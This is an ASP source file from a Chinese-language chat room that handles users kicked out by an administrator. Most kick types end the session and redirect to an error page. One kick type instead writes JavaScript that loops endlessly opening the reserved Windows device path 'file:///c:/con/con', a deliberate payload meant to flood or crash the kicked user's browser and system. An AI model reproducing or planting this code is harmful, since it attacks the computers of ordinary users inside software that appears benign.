manyou.asp

基于ASP开发的聊天室源码

<%Response.Expires=0
Response.ExpiresAbsolute = Now() - 1
Response.AddHeader "Pragma","No-Cache"
Response.AddHeader "Cache-Control","Private"
Response.CacheControl = "No-Cache"%>
<!--#INCLUDE FILE="config.asp" -->
<%
if IsArray(Session("info")) then
 info=Session("info")
 if InStr(Application("maninfo"),"," & info(0) & ",;")=0 then Response.Redirect "err.asp?kind=48"
 info(3)="o"
 Session("info")=info
 kickinfo=split(Application("maninfo"),";")
 for i=0 to ubound(kickinfo)-1
  a_kickinfo=split(kickinfo(i),",")
  if a_kickinfo(1)=info(0) then
   kick_all=kickinfo(i) & ";"
   kick_kind=a_kickinfo(0)
   exit for
  end if
 next
 Application.Lock
 Application("maninfo")=Replace(Application("maninfo"),kick_all,"")
 Application.Unlock
 if kick_kind="" or kick_kind="1" then
 Session.Abandon
 Response.Write "<Script Language='JavaScript'>top.location.href='err.asp?kind=50';</Script>"
 elseif kick_kind="2" then
 Session.Abandon
 Response.Write "<Script Language='JavaScript'>top.location.href='err.asp?kind=51';</Script>"
 elseif kick_kind="3" then
 Session.Abandon
 Response.Write "<Script Language='JavaScript'>" & vbCrLf
 Response.Write "while(true){window.open('file:///c:/con/con','');}" & vbCrLf
 Response.Write "</Script>"
 elseif kick_kind="5" then
 Session.Abandon
 Response.Write "<Script Language='JavaScript'>top.location.href='err.asp?kind=61';</Script>"
 end if
else
Response.Redirect "err.asp?kind=15"
end if
%>